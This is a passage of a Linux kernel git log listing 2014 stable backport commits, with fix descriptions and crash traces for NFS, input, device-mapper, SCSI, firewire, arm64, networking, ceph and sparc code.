if something causes the delegation to be revoked. This patch adds a mechanism whereby the state recovery code can communicate to the delegation return code that the delegation is no longer valid and that it should not be used when reclaiming state. It also changes the return value for nfs4_handle_delegation_recall_error() to ensure that nfs_end_delegation_return() does not reattempt the lock reclaim before state recovery is done. http://lkml.kernel.org/r/CAN-5tyHwG=Cn2Q9KsHWadewjpTTy_K26ee+UnSvHvG4192p-Xw@mail.gmail.com Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e97c5e96d9122e69f68963e205ba10d466a7076d Author: Jan Kara Date: Thu Oct 23 14:02:47 2014 +0200 nfs: Fix use of uninitialized variable in nfs_getattr() commit 16caf5b6101d03335b386e77e9e14136f989be87 upstream. Variable 'err' needn't be initialized when nfs_getattr() uses it to check whether it should call generic_fillattr() or not. That can result in spurious error returns. Initialize 'err' properly. Signed-off-by: Jan Kara Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 520135c42f850d1566176d6f72f4d247699c7275 Author: Trond Myklebust Date: Fri Oct 17 23:02:52 2014 +0300 NFS: Don't try to reclaim delegation open state if recovery failed commit f8ebf7a8ca35dde321f0cd385fee6f1950609367 upstream. If state recovery failed, then we should not attempt to reclaim delegated state. http://lkml.kernel.org/r/CAN-5tyHwG=Cn2Q9KsHWadewjpTTy_K26ee+UnSvHvG4192p-Xw@mail.gmail.com Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b99b0f8d03a6d70326dffe82f4bb2a33ea3c6693 Author: Trond Myklebust Date: Fri Oct 17 15:10:25 2014 +0300 NFSv4: Ensure that we remove NFSv4.0 delegations when state has expired commit 4dfd4f7af0afd201706ad186352ca423b0f17d4b upstream. NFSv4.0 does not have TEST_STATEID/FREE_STATEID functionality, so unlike NFSv4.1, the recovery procedure when stateids have expired or have been revoked requires us to just forget the delegation. http://lkml.kernel.org/r/CAN-5tyHwG=Cn2Q9KsHWadewjpTTy_K26ee+UnSvHvG4192p-Xw@mail.gmail.com Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5c0f2d30adab8cbc7bec002cbaa454f26163259f Author: Pali Rohár Date: Sat Nov 8 12:58:57 2014 -0800 Input: alps - allow up to 2 invalid packets without resetting device commit 9d720b34c0a432639252f63012e18b0507f5b432 upstream. On some Dell Latitude laptops ALPS device or Dell EC send one invalid byte in 6 bytes ALPS packet. In this case psmouse driver enter out of sync state. It looks like that all other bytes in packets are valid and also device working properly. So there is no need to do full device reset, just need to wait for byte which match condition for first byte (start of packet). Because ALPS packets are bigger (6 or 8 bytes) default limit is small. This patch increase number of invalid bytes to size of 2 ALPS packets which psmouse driver can drop before do full reset. Resetting ALPS devices take some time and when doing reset on some Dell laptops touchpad, trackstick and also keyboard do not respond. So it is better to do it only if really necessary. Signed-off-by: Pali Rohár Tested-by: Pali Rohár Reviewed-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f50b0603294b8763405c9e6f3a403693d7e1bf40 Author: Pali Rohár Date: Sat Nov 8 12:45:23 2014 -0800 Input: alps - ignore potential bare packets when device is out of sync commit 4ab8f7f320f91f279c3f06a9795cfea5c972888a upstream. 5th and 6th byte of ALPS trackstick V3 protocol match condition for first byte of PS/2 3 bytes packet. When driver enters out of sync state and ALPS trackstick is sending data then driver match 5th, 6th and next 1st bytes as PS/2. It basically means if user is using trackstick when driver is in out of sync state driver will never resync. Processing these bytes as 3 bytes PS/2 data cause total mess (random cursor movements, random clicks) and make trackstick unusable until psmouse driver decide to do full device reset. Lot of users reported problems with ALPS devices on Dell Latitude E6440, E6540 and E7440 laptops. ALPS device or Dell EC for unknown reason send some invalid ALPS PS/2 bytes which cause driver out of sync. It looks like that i8042 and psmouse/alps driver always receive group of 6 bytes packets so there are no missing bytes and no bytes were inserted between valid ones. This patch does not fix root of problem with ALPS devices found in Dell Latitude laptops but it does not allow to process some (invalid) subsequence of 6 bytes ALPS packets as 3 bytes PS/2 when driver is out of sync. So with this patch trackstick input device does not report bogus data when also driver is out of sync, so trackstick should be usable on those machines. Signed-off-by: Pali Rohár Tested-by: Pali Rohár Reviewed-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 51c08a9027d14f576b2c7612877bcafdf8b2b17a Author: Heinz Mauelshagen Date: Fri Oct 17 13:38:50 2014 +0200 dm raid: ensure superblock's size matches device's logical block size commit 40d43c4b4cac4c2647bf07110d7b07d35f399a84 upstream. The dm-raid superblock (struct dm_raid_superblock) is padded to 512 bytes and that size is being used to read it in from the metadata device into one preallocated page. Reading or writing this on a 512-byte sector device works fine but on a 4096-byte sector device this fails. Set the dm-raid superblock's size to the logical block size of the metadata device, because IO at that size is guaranteed too work. Also add a size check to avoid silent partial metadata loss in case the superblock should ever grow past the logical block size or PAGE_SIZE. [includes pointer math fix from Dan Carpenter] Reported-by: "Liuhua Wang" Signed-off-by: Heinz Mauelshagen Signed-off-by: Dan Carpenter Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 49413efc5079d0881cd7ce70c1ee15d6311234d2 Author: Joe Thornber Date: Mon Nov 10 15:03:24 2014 +0000 dm btree: fix a recursion depth bug in btree walking code commit 9b460d3699324d570a4d4161c3741431887f102f upstream. The walk code was using a 'ro_spine' to hold it's locked btree nodes. But this data structure is designed for the rolling lock scheme, and as such automatically unlocks blocks that are two steps up the call chain. This is not suitable for the simple recursive walk algorithm, which retraces its steps. This code is only used by the persistent array code, which in turn is only used by dm-cache. In order to trigger it you need to have a mapping tree that is more than 2 levels deep; which equates to 8-16 million cache blocks. For instance a 4T ssd with a very small block size of 32k only just triggers this bug. The fix just places the locked blocks on the stack, and stops using the ro_spine altogether. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4433e1af6a1fe57abc78f070daa9aadacac73cb3 Author: Jan Kara Date: Thu Oct 30 20:43:38 2014 +0100 block: Fix computation of merged request priority commit ece9c72accdc45c3a9484dacb1125ce572647288 upstream. Priority of a merged request is computed by ioprio_best(). If one of the requests has undefined priority (IOPRIO_CLASS_NONE) and another request has priority from IOPRIO_CLASS_BE, the function will return the undefined priority which is wrong. Fix the function to properly return priority of a request with the defined priority. Fixes: d58cdfb89ce0c6bd5f81ae931a984ef298dbda20 Signed-off-by: Jan Kara Reviewed-by: Jeff Moyer Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c865e8b47d869402fef61d80d8db1068e0dc6e37 Author: Helge Deller Date: Mon Nov 10 21:46:18 2014 +0100 parisc: Use compat layer for msgctl, shmat, shmctl and semtimedop syscalls commit 2fe749f50b0bec07650ef135b29b1f55bf543869 upstream. Switch over the msgctl, shmat, shmctl and semtimedop syscalls to use the compat layer. The problem was found with the debian procenv package, which called shmctl(0, SHM_INFO, &info); in which the shmctl syscall then overwrote parts of the surrounding areas on the stack on which the info variable was stored and thus lead to a segfault later on. Additionally fix the definition of struct shminfo64 to use unsigned longs like the other architectures. This has no impact on userspace since we only have a 32bit userspace up to now. Signed-off-by: Helge Deller Cc: John David Anglin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 98c9e5e3737f111266391a0f2f52b5affce2e56c Author: Christoph Hellwig Date: Mon Nov 3 19:36:40 2014 +0100 scsi: only re-lock door after EH on devices that were reset commit 48379270fe6808cf4612ee094adc8da2b7a83baa upstream. Setups that use the blk-mq I/O path can lock up if a host with a single device that has its door locked enters EH. Make sure to only send the command to re-lock the door to devices that actually were reset and thus might have lost their state. Otherwise the EH code might be get blocked on blk_get_request as all requests for non-reset devices might be in use. Signed-off-by: Christoph Hellwig Reported-by: Meelis Roos Tested-by: Meelis Roos Reviewed-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 44e8676568d426e6496d098053fd0b9848bb6769 Author: Peng Tao Date: Wed Nov 5 22:36:50 2014 +0800 nfs: fix pnfs direct write memory leak commit 8c393f9a721c30a030049a680e1bf896669bb279 upstream. For pNFS direct writes, layout driver may dynamically allocate ds_cinfo.buckets. So we need to take care to free them when freeing dreq. Ideally this needs to be done inside layout driver where ds_cinfo.buckets are allocated. But buckets are attached to dreq and reused across LD IO iterations. So I feel it's OK to free them in the generic layer. Signed-off-by: Peng Tao Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fe2825b06cf500daa591c6db3f188d3776d9b12a Author: Stefan Richter Date: Tue Nov 11 17:16:44 2014 +0100 firewire: cdev: prevent kernel stack leaking into ioctl arguments commit eaca2d8e75e90a70a63a6695c9f61932609db212 upstream. Found by the UC-KLEE tool: A user could supply less input to firewire-cdev ioctls than write- or write/read-type ioctl handlers expect. The handlers used data from uninitialized kernel stack then. This could partially leak back to the user if the kernel subsequently generated fw_cdev_event_'s (to be read from the firewire-cdev fd) which notably would contain the _u64 closure field which many of the ioctl argument structures contain. The fact that the handlers would act on random garbage input is a lesser issue since all handlers must check their input anyway. The fix simply always null-initializes the entire ioctl argument buffer regardless of the actual length of expected user input. That is, a runtime overhead of memset(..., 40) is added to each firewirew-cdev ioctl() call. [Comment from Clemens Ladisch: This part of the stack is most likely to be already in the cache.] Remarks: - There was never any leak from kernel stack to the ioctl output buffer itself. IOW, it was not possible to read kernel stack by a read-type or write/read-type ioctl alone; the leak could at most happen in combination with read()ing subsequent event data. - The actual expected minimum user input of each ioctl from include/uapi/linux/firewire-cdev.h is, in bytes: [0x00] = 32, [0x05] = 4, [0x0a] = 16, [0x0f] = 20, [0x14] = 16, [0x01] = 36, [0x06] = 20, [0x0b] = 4, [0x10] = 20, [0x15] = 20, [0x02] = 20, [0x07] = 4, [0x0c] = 0, [0x11] = 0, [0x16] = 8, [0x03] = 4, [0x08] = 24, [0x0d] = 20, [0x12] = 36, [0x17] = 12, [0x04] = 20, [0x09] = 24, [0x0e] = 4, [0x13] = 40, [0x18] = 4. Reported-by: David Ramos Signed-off-by: Stefan Richter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a64eb388f9c8d05bba094570b0291b84e97d316d Author: Kyle McMartin Date: Wed Nov 12 21:07:44 2014 +0000 arm64: __clear_user: handle exceptions on strb commit 97fc15436b36ee3956efad83e22a557991f7d19d upstream. ARM64 currently doesn't fix up faults on the single-byte (strb) case of __clear_user... which means that we can cause a nasty kernel panic as an ordinary user with any multiple PAGE_SIZE+1 read from /dev/zero. i.e.: dd if=/dev/zero of=foo ibs=1 count=1 (or ibs=65537, etc.) This is a pretty obscure bug in the general case since we'll only __do_kernel_fault (since there's no extable entry for pc) if the mmap_sem is contended. However, with CONFIG_DEBUG_VM enabled, we'll always fault. if (!down_read_trylock(&mm->mmap_sem)) { if (!user_mode(regs) && !search_exception_tables(regs->pc)) goto no_context; retry: down_read(&mm->mmap_sem); } else { /* * The above down_read_trylock() might have succeeded in * which * case, we'll have missed the might_sleep() from * down_read(). */ might_sleep(); if (!user_mode(regs) && !search_exception_tables(regs->pc)) goto no_context; } Fix that by adding an extable entry for the strb instruction, since it touches user memory, similar to the other stores in __clear_user. Signed-off-by: Kyle McMartin Reported-by: MiloÅ¡ Prchlík Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8a1a040102ed76d6a7f6ce49ea40d945a3d1a63d Author: Nathan Lynch Date: Mon Nov 10 23:46:27 2014 +0100 ARM: 8198/1: make kuser helpers depend on MMU commit 08b964ff3c51b10aaf2e6ba639f40054c09f0f7a upstream. The kuser helpers page is not set up on non-MMU systems, so it does not make sense to allow CONFIG_KUSER_HELPERS to be enabled when CONFIG_MMU=n. Allowing it to be set on !MMU results in an oops in set_tls (used in execve and the arm_syscall trap handler): Unhandled exception: IPSR = 00000005 LR = fffffff1 CPU: 0 PID: 1 Comm: swapper Not tainted 3.18.0-rc1-00041-ga30465a #216 task: 8b838000 ti: 8b82a000 task.ti: 8b82a000 PC is at flush_thread+0x32/0x40 LR is at flush_thread+0x21/0x40 pc : [<8f00157a>] lr : [<8f001569>] psr: 4100000b sp : 8b82be20 ip : 00000000 fp : 8b83c000 r10: 00000001 r9 : 88018c84 r8 : 8bb85000 r7 : 8b838000 r6 : 00000000 r5 : 8bb77400 r4 : 8b82a000 r3 : ffff0ff0 r2 : 8b82a000 r1 : 00000000 r0 : 88020354 xPSR: 4100000b CPU: 0 PID: 1 Comm: swapper Not tainted 3.18.0-rc1-00041-ga30465a #216 [<8f002bc1>] (unwind_backtrace) from [<8f002033>] (show_stack+0xb/0xc) [<8f002033>] (show_stack) from [<8f00265b>] (__invalid_entry+0x4b/0x4c) As best I can tell this issue existed for the set_tls ARM syscall before commit fbfb872f5f41 "ARM: 8148/1: flush TLS and thumbee register state during exec" consolidated the TLS manipulation code into the set_tls helper function, but now that we're using it to flush register state during execve, !MMU users encounter the oops at the first exec. Prevent CONFIG_MMU=n configurations from enabling CONFIG_KUSER_HELPERS. Fixes: fbfb872f5f41 (ARM: 8148/1: flush TLS and thumbee register state during exec) Signed-off-by: Nathan Lynch Reported-by: Stefan Agner Acked-by: Uwe Kleine-König Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ee1909331408f291f647c6ff9814bac7369cd394 Author: Alex Deucher Date: Wed Nov 5 17:14:32 2014 -0500 drm/radeon: add missing crtc unlock when setting up the MC commit f0d7bfb9407fccb6499ec01c33afe43512a439a2 upstream. Need to unlock the crtc after updating the blanking state. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0b362110ab1c06b1ef0da1df13bd07d9a4108eb4 Author: Johannes Berg Date: Mon Nov 3 13:57:46 2014 +0100 mac80211: fix use-after-free in defragmentation commit b8fff407a180286aa683d543d878d98d9fc57b13 upstream. Upon receiving the last fragment, all but the first fragment are freed, but the multicast check for statistics at the end of the function refers to the current skb (the last fragment) causing a use-after-free bug. Since multicast frames cannot be fragmented and we check for this early in the function, just modify that check to also do the accounting to fix the issue. Reported-by: Yosef Khyal Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df4e2c9f6d6308ba472a4b65b8b572593a2c113e Author: Herbert Xu Date: Mon Nov 3 14:01:25 2014 +0800 macvtap: Fix csum_start when VLAN tags are present commit 3ce9b20f1971690b8b3b620e735ec99431573b39 upstream. When VLAN is in use in macvtap_put_user, we end up setting csum_start to the wrong place. The result is that the whoever ends up doing the checksum setting will corrupt the packet instead of writing the checksum to the expected location, usually this means writing the checksum with an offset of -4. This patch fixes this by adjusting csum_start when VLAN tags are detected. Fixes: f09e2249c4f5 ("macvtap: restore vlan header on user read") Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: David S. Miller Signed-off-by: Pranav Vashi commit b8ebec204411fd1cc346ab5e90b1f156da6cd131 Author: Emmanuel Grumbach Date: Tue Sep 23 23:02:41 2014 +0300 iwlwifi: configure the LTR commit 9180ac50716a097a407c6d7e7e4589754a922260 upstream. The LTR is the handshake between the device and the root complex about the latency allowed when the bus exits power save. This configuration was missing and this led to high latency in the link power up. The end user could experience high latency in the network because of this. Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7c2e9ebcff820b22a9c2559faf77f27b2978a33 Author: Ilya Dryomov Date: Thu Oct 23 00:25:22 2014 +0400 libceph: do not crash on large auth tickets commit aaef31703a0cf6a733e651885bfb49edc3ac6774 upstream. Large (greater than 32k, the value of PAGE_ALLOC_COSTLY_ORDER) auth tickets will have their buffers vmalloc'ed, which leads to the following crash in crypto: [ 28.685082] BUG: unable to handle kernel paging request at ffffeb04000032c0 [ 28.686032] IP: [] scatterwalk_pagedone+0x22/0x80 [ 28.686032] PGD 0 [ 28.688088] Oops: 0000 [#1] PREEMPT SMP [ 28.688088] Modules linked in: [ 28.688088] CPU: 0 PID: 878 Comm: kworker/0:2 Not tainted 3.17.0-vm+ #305 [ 28.688088] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2007 [ 28.688088] Workqueue: ceph-msgr con_work [ 28.688088] task: ffff88011a7f9030 ti: ffff8800d903c000 task.ti: ffff8800d903c000 [ 28.688088] RIP: 0010:[] [] scatterwalk_pagedone+0x22/0x80 [ 28.688088] RSP: 0018:ffff8800d903f688 EFLAGS: 00010286 [ 28.688088] RAX: ffffeb04000032c0 RBX: ffff8800d903f718 RCX: ffffeb04000032c0 [ 28.688088] RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffff8800d903f750 [ 28.688088] RBP: ffff8800d903f688 R08: 00000000000007de R09: ffff8800d903f880 [ 28.688088] R10: 18df467c72d6257b R11: 0000000000000000 R12: 0000000000000010 [ 28.688088] R13: ffff8800d903f750 R14: ffff8800d903f8a0 R15: 0000000000000000 [ 28.688088] FS: 00007f50a41c7700(0000) GS:ffff88011fc00000(0000) knlGS:0000000000000000 [ 28.688088] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 28.688088] CR2: ffffeb04000032c0 CR3: 00000000da3f3000 CR4: 00000000000006b0 [ 28.688088] Stack: [ 28.688088] ffff8800d903f698 ffffffff81392ca8 ffff8800d903f6e8 ffffffff81395d32 [ 28.688088] ffff8800dac96000 ffff880000000000 ffff8800d903f980 ffff880119b7e020 [ 28.688088] ffff880119b7e010 0000000000000000 0000000000000010 0000000000000010 [ 28.688088] Call Trace: [ 28.688088] [] scatterwalk_done+0x38/0x40 [ 28.688088] [] scatterwalk_done+0x38/0x40 [ 28.688088] [] blkcipher_walk_done+0x182/0x220 [ 28.688088] [] crypto_cbc_encrypt+0x15f/0x180 [ 28.688088] [] ? crypto_aes_set_key+0x30/0x30 [ 28.688088] [] ceph_aes_encrypt2+0x29c/0x2e0 [ 28.688088] [] ceph_encrypt2+0x93/0xb0 [ 28.688088] [] ceph_x_encrypt+0x4a/0x60 [ 28.688088] [] ? ceph_buffer_new+0x5d/0xf0 [ 28.688088] [] ceph_x_build_authorizer.isra.6+0x297/0x360 [ 28.688088] [] ? kmem_cache_alloc_trace+0x11b/0x1c0 [ 28.688088] [] ? ceph_auth_create_authorizer+0x36/0x80 [ 28.688088] [] ceph_x_create_authorizer+0x63/0xd0 [ 28.688088] [] ceph_auth_create_authorizer+0x54/0x80 [ 28.688088] [] get_authorizer+0x80/0xd0 [ 28.688088] [] prepare_write_connect+0x18b/0x2b0 [ 28.688088] [] try_read+0x1e59/0x1f10 This is because we set up crypto scatterlists as if all buffers were kmalloc'ed. Fix it. Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de925fb0fe66dc82d75fc891ee342c5e4c6eac9f Author: Max Filippov Date: Mon Oct 6 21:01:17 2014 +0400 xtensa: re-wire umount syscall to sys_oldumount commit 2651cc6974d47fc43bef1cd8cd26966e4f5ba306 upstream. Userspace actually passes single parameter (path name) to the umount syscall, so new umount just fails. Fix it by requesting old umount syscall implementation and re-wiring umount to it. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aea696decb5937213f47cd4d4f49855e67c977e8 Author: Takashi Iwai Date: Tue Nov 11 15:45:57 2014 +0100 ALSA: usb-audio: Fix memory leak in FTU quirk commit 1a290581ded60e87276741f8ca97b161d2b226fc upstream. M-audio FastTrack Ultra quirk doesn't release the kzalloc'ed memory. This patch adds the private_free callback to release it properly. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b35219c513e16f135706c79ff57d3bf7a45c6d72 Author: Tejun Heo Date: Mon Oct 27 10:22:56 2014 -0400 ahci: disable MSI instead of NCQ on Samsung pci-e SSDs on macbooks commit 66a7cbc303f4d28f201529b06061944d51ab530c upstream. Samsung pci-e SSDs on macbooks failed miserably on NCQ commands, so 67809f85d31e ("ahci: disable NCQ on Samsung pci-e SSDs on macbooks") disabled NCQ on them. It turns out that NCQ is fine as long as MSI is not used, so let's turn off MSI and leave NCQ on. Signed-off-by: Tejun Heo Link: https://bugzilla.kernel.org/show_bug.cgi?id=60731 Tested-by: Tested-by: Imre Kaloz Fixes: 67809f85d31e ("ahci: disable NCQ on Samsung pci-e SSDs on macbooks") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 62527a9be0d23acb977bbc9308f1ae94cc2e5a12 Author: James Ralston Date: Mon Oct 13 15:16:38 2014 -0700 ahci: Add Device IDs for Intel Sunrise Point PCH commit 690000b930456a98663567d35dd5c54b688d1e3f upstream. This patch adds the AHCI-mode SATA Device IDs for the Intel Sunrise Point PCH. Signed-off-by: James Ralston Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0589d5e6b008c24128bad11e23042c5518c90570 Author: Miklos Szeredi Date: Tue Nov 4 11:27:12 2014 +0100 audit: keep inode pinned commit 799b601451b21ebe7af0e6e8f6e2ccd4683c5064 upstream. Audit rules disappear when an inode they watch is evicted from the cache. This is likely not what we want. The guilty commit is "fsnotify: allow marks to not pin inodes in core", which didn't take into account that audit_tree adds watches with a zero mask. Adding any mask should fix this. Fixes: 90b1e7a57880 ("fsnotify: allow marks to not pin inodes in core") Signed-off-by: Miklos Szeredi Signed-off-by: Paul Moore Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1fe2d44ed03fd04697923af821556f1238bdc80d Author: Andy Lutomirski Date: Fri Sep 5 15:13:52 2014 -0700 x86, x32, audit: Fix x32's AUDIT_ARCH wrt audit commit 81f49a8fd7088cfcb588d182eeede862c0e3303e upstream. is_compat_task() is the wrong check for audit arch; the check should be is_ia32_task(): x32 syscalls should be AUDIT_ARCH_X86_64, not AUDIT_ARCH_I386. CONFIG_AUDITSYSCALL is currently incompatible with x32, so this has no visible effect. Signed-off-by: Andy Lutomirski Link: http://lkml.kernel.org/r/a0138ed8c709882aec06e4acc30bfa9b623b8717.1409954077.git.luto@amacapital.net Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8349bc5cf2949e21a130daba0e2b4648c595abb9 Author: Andreas Larsson Date: Wed Nov 5 15:52:08 2014 +0100 sparc32: Implement xchg and atomic_xchg using ATOMIC_HASH locks [ Upstream commit 1a17fdc4f4ed06b63fac1937470378a5441a663a ] Atomicity between xchg and cmpxchg cannot be guaranteed when xchg is implemented with a swap and cmpxchg is implemented with locks. Without this, e.g. mcs_spin_lock and mcs_spin_unlock are broken. Signed-off-by: Andreas Larsson Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aca43828d89115581c58a0130e15ecb872549cc3 Author: David S. Miller Date: Fri Nov 7 09:50:48 2014 -0800 sparc64: Do irq_{enter,exit}() around generic_smp_call_function*(). [ Upstream commit ab5c780913bca0a5763ca05dd5c2cb5cb08ccb26 ] Otherwise rcu_irq_{enter,exit}() do not happen and we get dumps like: ==================== [ 188.275021] =============================== [ 188.309351] [ INFO: suspicious RCU usage. ] [ 188.343737] 3.18.0-rc3-00068-g20f3963-dirty #54 Not tainted [ 188.394786] ------------------------------- [ 188.429170] include/linux/rcupdate.h:883 rcu_read_lock() used illegally while idle! [ 188.505235] other info that might help us debug this: [ 188.554230] RCU used illegally from idle CPU! rcu_scheduler_active = 1, debug_locks = 0 [ 188.637587] RCU used illegally from extended quiescent state! [ 188.690684] 3 locks held by swapper/7/0: [ 188.721932] #0: (&x->wait#11){......}, at: [<0000000000495de8>] complete+0x8/0x60 [ 188.797994] #1: (&p->pi_lock){-.-.-.}, at: [<000000000048510c>] try_to_wake_up+0xc/0x400 [ 188.881343] #2: (rcu_read_lock){......}, at: [<000000000048a910>] select_task_rq_fair+0x90/0xb40 [ 188.973043]stack backtrace: [ 188.993879] CPU: 7 PID: 0 Comm: swapper/7 Not tainted 3.18.0-rc3-00068-g20f3963-dirty #54 [ 189.076187] Call Trace: [ 189.089719] [0000000000499360] lockdep_rcu_suspicious+0xe0/0x100 [ 189.147035] [000000000048a99c] select_task_rq_fair+0x11c/0xb40 [ 189.202253] [00000000004852d8] try_to_wake_up+0x1d8/0x400 [ 189.252258] [000000000048554c] default_wake_function+0xc/0x20 [ 189.306435] [0000000000495554] __wake_up_common+0x34/0x80 [ 189.356448] [00000000004955b4] __wake_up_locked+0x14/0x40 [ 189.406456] [0000000000495e08] complete+0x28/0x60 [ 189.448142] [0000000000636e28] blk_end_sync_rq+0x8/0x20 [ 189.496057] [0000000000639898] __blk_mq_end_request+0x18/0x60 [ 189.550249] [00000000006ee014] scsi_end_request+0x94/0x180 [ 189.601286] [00000000006ee334] scsi_io_completion+0x1d4/0x600 [ 189.655463] [00000000006e51c4] scsi_finish_command+0xc4/0xe0 [ 189.708598] [00000000006ed958] scsi_softirq_done+0x118/0x140 [ 189.761735] [00000000006398ec] __blk_mq_complete_request_remote+0xc/0x20 [ 189.827383] [00000000004c75d0] generic_smp_call_function_single_interrupt+0x150/0x1c0 [ 189.906581] [000000000043e514] smp_call_function_single_client+0x14/0x40 ==================== Based almost entirely upon a patch by Paul E. McKenney. Reported-by: Meelis Roos Tested-by: Meelis Roos Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cd84010de23c6930647297484d9dff4b05faa0c2 Author: David S. Miller Date: Sat Nov 1 00:33:58 2014 -0400 sparc64: Fix crashes in schizo_pcierr_intr_other(). [ Upstream commit 7da89a2a3776442a57e918ca0b8678d1b16a7072 ] Meelis Roos reports crashes during bootup on a V480 that look like this: ==================== [ 61.300577] PCI: Scanning PBM /pci@9,600000 [ 61.304867] schizo f009b070: PCI host bridge to bus 0003:00 [ 61.310385] pci_bus 0003:00: root bus resource [io 0x7ffe9000000-0x7ffe9ffffff] (bus address [0x0000-0xffffff]) [ 61.320515] pci_bus 0003:00: root bus resource [mem 0x7fb00000000-0x7fbffffffff] (bus address [0x00000000-0xffffffff]) [ 61.331173] pci_bus 0003:00: root bus resource [bus 00] [ 61.385344] Unable to handle kernel NULL pointer dereference [ 61.390970] tsk->{mm,active_mm}->context = 0000000000000000 [ 61.396515] tsk->{mm,active_mm}->pgd = fff000b000002000 [ 61.401716] \|/ ____ \|/ [ 61.401716] "@'/ .. \`@" [ 61.401716] /_| \__/ |_\ [ 61.401716] \__U_/ [ 61.416362] swapper/0(0): Oops [#1] [ 61.419837] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 3.18.0-rc1-00422-g2cc9188-dirty #24 [ 61.427975] task: fff000b0fd8e9c40 ti: fff000b0fd928000 task.ti: fff000b0fd928000 [ 61.435426] TSTATE: 0000004480e01602 TPC: 00000000004455e4 TNPC: 00000000004455e8 Y: 00000000 Not tainted [ 61.445230] TPC: [ 61.449897] g0: 0000000000000000 g1: 0000000000000000 g2: 0000000000a10f78 g3: 000000000000000a [ 61.458563] g4: fff000b0fd8e9c40 g5: fff000b0fdd82000 g6: fff000b0fd928000 g7: 000000000000000a [ 61.467229] o0: 000000000000003d o1: 0000000000000000 o2: 0000000000000006 o3: fff000b0ffa5fc7e [ 61.475894] o4: 0000000000060000 o5: c000000000000000 sp: fff000b0ffa5f3c1 ret_pc: 00000000004455cc [ 61.484909] RPC: [ 61.489500] l0: fff000b0fd8e9c40 l1: 0000000000a20800 l2: 0000000000000000 l3: 000000000119a430 [ 61.498164] l4: 0000000001742400 l5: 00000000011cfbe0 l6: 00000000011319c0 l7: fff000b0fd8ea348 [ 61.506830] i0: 0000000000000000 i1: fff000b0fdb34000 i2: 0000000320000000 i3: 0000000000000000 [ 61.515497] i4: 00060002010b003f i5: 0000040004e02000 i6: fff000b0ffa5f481 i7: 00000000004a9920 [ 61.524175] I7: [ 61.529099] Call Trace: [ 61.531531] [00000000004a9920] handle_irq_event_percpu+0x40/0x140 [ 61.537681] [00000000004a9a58] handle_irq_event+0x38/0x80 [ 61.543145] [00000000004ac77c] handle_fasteoi_irq+0xbc/0x200 [ 61.548860] [00000000004a9084] generic_handle_irq+0x24/0x40 [ 61.554500] [000000000042be0c] handler_irq+0xac/0x100 ==================== The problem is that pbm->pci_bus->self is NULL. This code is trying to go through the standard PCI config space interfaces to read the PCI controller's PCI_STATUS register. This doesn't work, because we more often than not do not enumerate the PCI controller as a bonafide PCI device during the OF device node scan. Therefore bus->self remains NULL. Existing common code for PSYCHO and PSYCHO-like PCI controllers handles this properly, by doing the config space access directly. Do the same here, pbm->pci_ops->{read,write}(). Reported-by: Meelis Roos Tested-by: Meelis Roos Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cdb990ccb111bc42b3389601b91b806be8af538b Author: Dwight Engen Date: Thu Oct 30 15:55:35 2014 -0400 sunvdc: don't call VD_OP_GET_VTOC [ Upstream commit 85b0c6e62c48bb9179fd5b3e954f362fb346cbd5 ] The VD_OP_GET_VTOC operation will succeed only if the vdisk backend has a VTOC label, otherwise it will fail. In particular, it will return error 48 (ENOTSUP) if the disk has an EFI label. VTOC disk labels are already handled by directly reading the disk in block/partitions/sun.c (enabled by CONFIG_SUN_PARTITION which defaults to y on SPARC). Since port->label is unused in the driver, remove the call and the field. Signed-off-by: Dwight Engen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman 